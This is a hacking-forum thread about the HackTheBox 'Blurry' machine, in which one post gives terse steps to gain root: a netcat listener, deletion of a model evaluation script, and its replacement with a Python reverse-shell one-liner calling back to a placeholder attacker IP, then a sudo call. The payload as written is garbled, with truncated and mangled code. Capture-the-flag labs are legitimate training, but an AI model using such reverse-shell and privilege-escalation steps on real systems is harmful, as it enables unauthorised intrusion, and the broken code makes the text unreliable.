HTB - Blurry
by black_panther - Saturday June 8, 2024 at 06:30 PM
#61
Simple Steps to Root :
On Attacker Machine:

Quote:nc -nvlp PORT

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

On Target Machine:

1.  Remove the existing 'evaluate_model.py' within the /models directory:

Quote: jippity@blurry:/models$ rm evaluate_model.py


2. Now create a new file of the same name and import the python payload for reverse shell into it:

Quote: jippity@blurry:/models$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCconnect(("YOUR_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);imy.spawn("/bin/bash")' > evaluate_model.py

Exclamation Ensure you replace the IP and PORT of your own machine Exclamation

3. Execute the sudo command :

Quote: jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/*.pth


Enjoy Root access  Cool !!!!!
Reply
#62
Is anyone gonna post the flag? I could use some help with this box.
Reply
#63
(06-09-2024, 04:20 PM)moha1313128 Wrote: I got this error
`[!] Unknown or unsupported file format for /models/evil.pth`

Because thiss file unsupported file format
Ban reason: Replying With Hidden Content (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,273 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,829 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,061 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,277 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,549 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 3 Guest(s)